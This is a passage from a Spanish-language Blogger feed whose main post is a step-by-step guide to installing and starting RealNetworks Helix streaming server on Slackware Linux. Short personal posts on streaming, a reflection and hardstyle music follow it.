educativos.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;Para quien no lo sepa, pues Helix Server es un software propietario de RealNetworks, el cual nos permite hacer video-streaming en tiempo real o a manera de solicitud. Tal como lo hace googleVideo, YouTube y demás sitios por el estilo.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;Algo muy importante a saber es que pueden instalar su Helix Server en cualquier distribución Linux que tenga características:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ftTE5yk93Zc/S6P1YtzMqDI/AAAAAAAAAB8/euR4ABugX4w/s1600-h/linux.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 114px;" src="http://4.bp.blogspot.com/_ftTE5yk93Zc/S6P1YtzMqDI/AAAAAAAAAB8/euR4ABugX4w/s400/linux.png" alt="" id="BLOGGER_PHOTO_ID_5450469779008432178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Yo en lo personal lo he instalado en mi Slackware 12.2, por lo cual en ninguna otra distro les debería dar problemas, bueno vamos para allá:&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;Registrarse en la página de &lt;/span&gt;&lt;a style="color: rgb(102, 0, 204);" href="http://www.realnetworks.com/helix_server_eval.aspx"&gt;RealNetworks&lt;/a&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; ya que al correo que especifiquemos nos mandarán la licencia por 30 días.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Descargar el paquete Real Producer para Red Hat desde &lt;a href="http://software-dl.real.com/102aab48ccc0f1644e00/serverg2/rs1300-ga-linux-rhel4.tar.gz"&gt;aquí.&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Abrir una consola y logearse como root (personalmente desprecio el uso del comando sudo).&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Mover el paquete a la carpeta /usr/src, por lo general allí deberían ir los paquetes que compilamos desde las fuentes, pero para tener un control de los programas recomiendo que se haga así:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mv ~/rs1300-ga-linux-rhel4.tar.gz /usr/src&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;Dirigirse hacia el directorio /usr/src y descomprimir el paquete con:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd /usr/src&lt;br /&gt;tar xvzf rs1300-ga-linux-rhel4.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Entrar en la carpeta&lt;/span&gt; &lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;rs1300-ga-linux-rhel4:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 51, 255);font-family:courier new;"&gt;rs1300-ga-linux-rhel4&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Ya dentro de la carpeta asignar permisos de ejecución al archivo con:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;chmod +x rs1300-ga-linux-rhel4.bin&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt; Copiar el archivo licencia al directorio donde está el rs1300-ga-linux-rhel4.bin (opcional)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Ejecutar el archivo con el commando:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;./rs1300-ga-linux-rhel4.bin&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;Cuando pregunte por la ruta de instalación pondremos:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/usr/local/real&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;Posteriormente ingresar la ruta de la licencia(recuerda si la copiaste a /usr/src/&lt;/span&gt;&lt;span style="color: rgb(102, 51, 255);font-family:courier new;"&gt;rs1300-ga-linux-rhel4/licencia.lic&lt;/span&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;).&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(51, 204, 0);"&gt;Si tienes corriendo un servidor apache entonces cuando te pregunte si quieres usar el puerto 80 como el puerto de acceso al Helix Server, indícale que use otro distinto, por ejemplo el 8080, ya que si tienes corriendo un servidor apache entonces no habrá de funcionar el Helix Server.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;MUCHO OJO: la instalación te habrá de pedir un nombre de usuario y una contraseña, y, además te dará un resumen de los puertos que habrá de ocupar, ANOTA TODA LA INFORMACIÓN, ya que sin ella no podrás acceder a la interfaz de configuración.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Si hasta aquí todo está instalado y sin haber dado errores entonces todo estará instalado bajo el directorio: /usr/local/real&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Para ejecutarlo:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/usr/local/real/Bin/rmserver /usr/local/real/rmserver.cfg &amp;amp; &lt;/span&gt;&lt;br /&gt;recuerden el &amp;amp; al final para mandar el proceso al background.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Codificar algún clip de música o bien elegir algún video y copiarlo a:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cp ~/video.mpeg /usr/local/real/Content&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;Acceder a la dirección:&lt;br /&gt;http://localhost:8080/ramgen/video.mpeg&lt;br /&gt;OJO: el puerto 8080 es el que en mi caso definí porque yo ya tenía un servidor apache corriendo, en tu caso debería ser el puerto que te dije que anotaras,el cual podria ser el puerto 80, ¿recuerdas?.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Si lo pudiste ver, felicidades. Ya tienes configurado de manera básica tu servidor Helix.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;Ahora bien, ya sólo te falta documentarte para comprender la administración del Helix server.&lt;br /&gt;Un link interesante es la guía oficial de Helix Server, descargable desde &lt;a href="http://service.jp.real.com/help/library/guides/HelixServerWireline11/pdf/HelixServerAdmin.pdf"&gt;aquí.&lt;/a&gt;&lt;br /&gt;Y otro es el archivo de referencia para la configuración del Helix Server, descargable desde &lt;a href="http://service.jp.real.com/help/library/guides/HelixServerWireline12/pdf/HelixServerConfig.pdf"&gt;aquí.&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1405712645997595950?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1405712645997595950/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/instalacion-de-helix-server-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1405712645997595950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1405712645997595950'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/instalacion-de-helix-server-en.html' title='Instalación de Helix Server en Slackware'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ftTE5yk93Zc/S6P1YtzMqDI/AAAAAAAAAB8/euR4ABugX4w/s72-c/linux.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2743065900031612016</id><published>2010-03-10T21:15:00.000-08:00</published><updated>2010-03-10T21:22:51.713-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Helix'/><title type='text'>Helix, video streaming</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.xandros.com/products/server/images/helix.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 150px; height: 97px;" src="http://www.xandros.com/products/server/images/helix.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Ahora me ando peleando con el video Streaming, estoy tratando de crear un servidor con tal fin. Lo único malo es que requiero una cámara de video compatible con linux y no encuentro alguna que sea de buena calidad y que tenga drivers compatibles.&lt;/p&gt;&lt;p&gt;Por lo pronto ya pude hacer funcionar el servidor Helix en slackware, pronto publicaré el "How to"&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2743065900031612016?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2743065900031612016/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/helix-video-streaming.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2743065900031612016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2743065900031612016'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/helix-video-streaming.html' title='Helix, video streaming'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2647017602397845157</id><published>2010-02-18T10:26:00.000-08:00</published><updated>2010-02-18T10:31:30.135-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hagakure'/><category scheme='http://www.blogger.com/atom/ns#' term='Reflexiones'/><title type='text'>Reflexiones.</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_ftTE5yk93Zc/S32HZcr_WrI/AAAAAAAAABU/gSRi-QRHs2k/s1600-h/hagakure.jpg"&gt;&lt;img style="MARGIN: 0px 0px 10px 10px; WIDTH: 320px; FLOAT: right; HEIGHT: 250px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5439652796200606386" border="0" alt="" src="http://4.bp.blogspot.com/_ftTE5yk93Zc/S32HZcr_WrI/AAAAAAAAABU/gSRi-QRHs2k/s320/hagakure.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:verdana;"&gt;Parece que cualesquiera que sean los dones personales, cualquiera que sea la dificultad del problema, a una reflexión suficientemente larga y profunta. En tanto funda su razonamiento sobre el "Yo", puede ser muy prudente y astuto pero no sabio.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2647017602397845157?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2647017602397845157/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/02/reflexiones.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2647017602397845157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2647017602397845157'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/02/reflexiones.html' title='Reflexiones.'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ftTE5yk93Zc/S32HZcr_WrI/AAAAAAAAABU/gSRi-QRHs2k/s72-c/hagakure.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4865944280002459818</id><published>2010-02-16T21:08:00.001-08:00</published><updated>2010-02-16T21:12:25.457-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hardstyle'/><title type='text'>Un poco de Hardstyle</title><content type='html'>&lt;p&gt;Inauguración del blog con un poco de hardstyle, para quienes piensan que la música electrónica sólo es trance y house.&lt;/p&gt;&lt;p&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/KJlhAAH5aHA&amp;amp;hl=es_MX&amp;amp;fs=1&amp;amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/KJlhAAH5aHA&amp;amp;hl=es_MX&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4865944280002459818?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4865944280002459818/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/02/un-poco-de-hardstyle.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4865944280002459818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4865944280002459818'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/02/un-poco-de-hardstyle.html' title='Un poco de Hardstyle'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry></feed>
